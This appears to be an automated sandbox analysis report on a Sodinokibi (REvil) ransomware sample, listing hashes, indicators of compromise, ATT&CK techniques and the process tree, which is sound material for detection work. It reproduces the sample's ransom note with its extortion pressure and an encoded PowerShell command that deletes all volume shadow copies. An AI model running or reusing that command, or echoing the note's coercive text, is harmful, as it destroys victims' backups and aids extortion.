sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

14/04/2025, 17:40

250414-v89s1swlw9 10

05/02/2025, 06:51

05/02/2025, 06:49

28/04/2024, 18:31

21/04/2024, 08:57

21/04/2024, 05:45

18/04/2024, 19:05

18/04/2024, 16:34

Analysis

max time kernel
104s
max time network
105s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
14/04/2025, 17:40

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General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

164KB
MD5

722e15d85827d3ac13e56e8108688012
SHA1

cab935a24d7d0ea7e8d93851f7ea94ab9bccfc34
SHA256

578e1b00157447f99716b646af6b0c33d0f6c32257a19376d6cc9d003ff0fba1
SHA512

59e24cf313db4413f44f16a8276d072f43402e718c25e1d00e81ddc69a1937473cfd1902c320bc9175d75a0d43a53ab3e971b8447ec1cf9cf9aa3aa536464273
SSDEEP

3072:BrX1t2U05pbJ5xhxY9doh7O79siUs/NaT8Sp:BrltH05f5v2i7O93No7

Score

10^/10

sodinokibi discovery ransomware

Malware Config

Extracted

Path

C:\Program Files (x86)\xp8e0m-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension xp8e0m. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/4568A812383B4A7D 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/4568A812383B4A7D Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: M9MYnAQ1jMuFdBfXCPlypfEG6Mc8ZLjXrcqO9ZK5QCZ4fmGqOvb4RfrZeUInKWKp j9Y5nCbQZJ1XsiFCmRwWqPBAFYfF6cbqNpDIYOi/zVE9en9/dS2XB9PTRfz2sc3C iE7yLkHkLRqOaPDNAe5yzWk7Oo4oDOrUPGVy104otF8wCiRdTRrMoJ8wCUp0oQwG iLolBJXmu0BLa83Gr3OLN94yLQEo7tdTgL91NIlKefIw61PWnjqws9Eat3jUyP/G 8x63EZq9S96uN2UWgbb1rFR4+Hb10eakDtFkSlmXXgm/zboJNSYVvBOu0XjqvTkw rN/nJVCLcFAVWsUiEY9G2Hp5sIrU9wqsvAVQSrA2a0skyYNHLY/5dF7CU27i7VSB mmhYOKGHmDlkBNtPMMEfbmWVt7NnldeH7px1rn5iNewIVgj1Ikzx1xSwDZhVGHiK zKeYmsh1f/jPskyWB+veaWhEEVqh+Gic5hLlahyca+IA4Gjopwqst83M+37jCn72 qHvkdCQ4TLvFyns2QXaERPlsnogMUOiUwPP8Yj7hsH67LqbVZJegUJhcHP2bldeo THR2PME7eQ9RQj7tL8jHj96sKlNeDaesHOtFgRn9alSWMrmWzFywBGUAKE351v6l ZmQFKaEIi/aBiUMnEwSDJKowK4iLtGUmrJQ7bO8Vmty5kncn2IziKYgTITr6sHSc zD+p9i/wgIUx32quq8A1qSElCaOuzE/4pVCm58aap965+QguUh+dyEO4Sqq1tV9G t2VhaiLhLaXW9v8FZn5p9MjMsB/7CB/oSNzxpOcSK7C47dmyMcLUcx5phqs4K+IN cC/bTT8arDMLFd4NcKXxUmk5fKeqw495Dy8P51jxI3QGzIc31H/SI9CQUujfSP3T 2T2RfhYPlDly8vp+0GVNnSyMjC2TVkBYB1kTJiRu5S3rp5ZcZe7jlLRtB1OEpZYV XKULDvs3RGeH1xqokwkWfaf/h1hUpncCzRFEoebhiozUX9hY1yyVhk3cPFyCCzAu sPGM6OqN7WjNYsYHd0m8dfOKoR2aA1oSaY3kC/oL4B+eMo4D+bmLGPgN9k/q/0Du eDjU7EXv5OdMvmUwzS8C0yltfXzEYFTGGaDb4Z7ipip1e38TaNiJxwuykIf2o0Gw oMCSQoX4gc4LYqkp3kwNIyzjyORrO4mWkiTCXehkr9f/Z0ARfy3nKfy3eSXhP+WG c+5bQPul6nzNdrMhuLUJBdzI Extension name: xp8e0m ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/4568A812383B4A7D

http://decryptor.top/4568A812383B4A7D

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Sodinokibi family
sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe

Drops file in Program Files directory 22 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\UnpublishConfirm.inf	rundll32.exe
File opened for modification	\??\c:\program files\AssertGet.asp	rundll32.exe
File opened for modification	\??\c:\program files\BlockWait.vsdx	rundll32.exe
File opened for modification	\??\c:\program files\CompareConnect.ttf	rundll32.exe
File opened for modification	\??\c:\program files\ConfirmDisable.docm	rundll32.exe
File opened for modification	\??\c:\program files\GetAdd.pptm	rundll32.exe
File opened for modification	\??\c:\program files\MergeBlock.ADTS	rundll32.exe
File opened for modification	\??\c:\program files\UninstallExpand.ini	rundll32.exe
File created	\??\c:\program files\xp8e0m-readme.txt	rundll32.exe
File created	\??\c:\program files (x86)\xp8e0m-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ApproveOptimize.crw	rundll32.exe
File opened for modification	\??\c:\program files\ConvertResume.wma	rundll32.exe
File opened for modification	\??\c:\program files\DebugConvertFrom.fon	rundll32.exe
File opened for modification	\??\c:\program files\DenyStop.pdf	rundll32.exe
File opened for modification	\??\c:\program files\chrome_installer.log	rundll32.exe
File opened for modification	\??\c:\program files\RevokeWatch.jtx	rundll32.exe
File opened for modification	\??\c:\program files\StopNew.rle	rundll32.exe
File opened for modification	\??\c:\program files\UnpublishBackup.png	rundll32.exe
File opened for modification	\??\c:\program files\ExportRestore.m1v	rundll32.exe
File opened for modification	\??\c:\program files\msedge_installer.log	rundll32.exe
File opened for modification	\??\c:\program files\ResolveGroup.xht	rundll32.exe
File opened for modification	\??\c:\program files\ResolveTrace.zip	rundll32.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3448	rundll32.exe
3448	rundll32.exe
2384	powershell.exe
2384	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2384	powershell.exe
Token: SeBackupPrivilege	2064	vssvc.exe
Token: SeRestorePrivilege	2064	vssvc.exe
Token: SeAuditPrivilege	2064	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2132 wrote to memory of 3448	2132	rundll32.exe	87
PID 2132 wrote to memory of 3448	2132	rundll32.exe	87
PID 2132 wrote to memory of 3448	2132	rundll32.exe	87
PID 3448 wrote to memory of 2384	3448	rundll32.exe	90
PID 3448 wrote to memory of 2384	3448	rundll32.exe	90

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:2132
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2384

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2072

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2064

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1568

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Program Files (x86)\xp8e0m-readme.txt

Filesize
6KB

MD5
9dc0f8499996215feff81cb84c388ae3

SHA1
b8422b4ed30e8a35f842a68eeecccaf5d5f37683

SHA256
1e26c24396a2fedfe97cd54ef30c6cf13de4e807efed415ee67e364e68f796fd

SHA512
591c1ff19d95226b7dd853e6ae629a0caba980eaaf3d549970023e8023a9bbd5c0cb8f53bd88876ae8c8a8ba7e6f14d97ad22142aca4b0c6d91d7aad59472be4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eszhbh5w.fm4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2384-0-0x00007FFEB2FC3000-0x00007FFEB2FC5000-memory.dmp

Filesize
8KB

Download
memory/2384-1-0x000001E76A8C0000-0x000001E76A8E2000-memory.dmp

Filesize
136KB

Download
memory/2384-11-0x00007FFEB2FC0000-0x00007FFEB3A81000-memory.dmp

Filesize
10.8MB

Download
memory/2384-12-0x00007FFEB2FC0000-0x00007FFEB3A81000-memory.dmp

Filesize
10.8MB

Download
memory/2384-15-0x00007FFEB2FC0000-0x00007FFEB3A81000-memory.dmp

Filesize
10.8MB

Download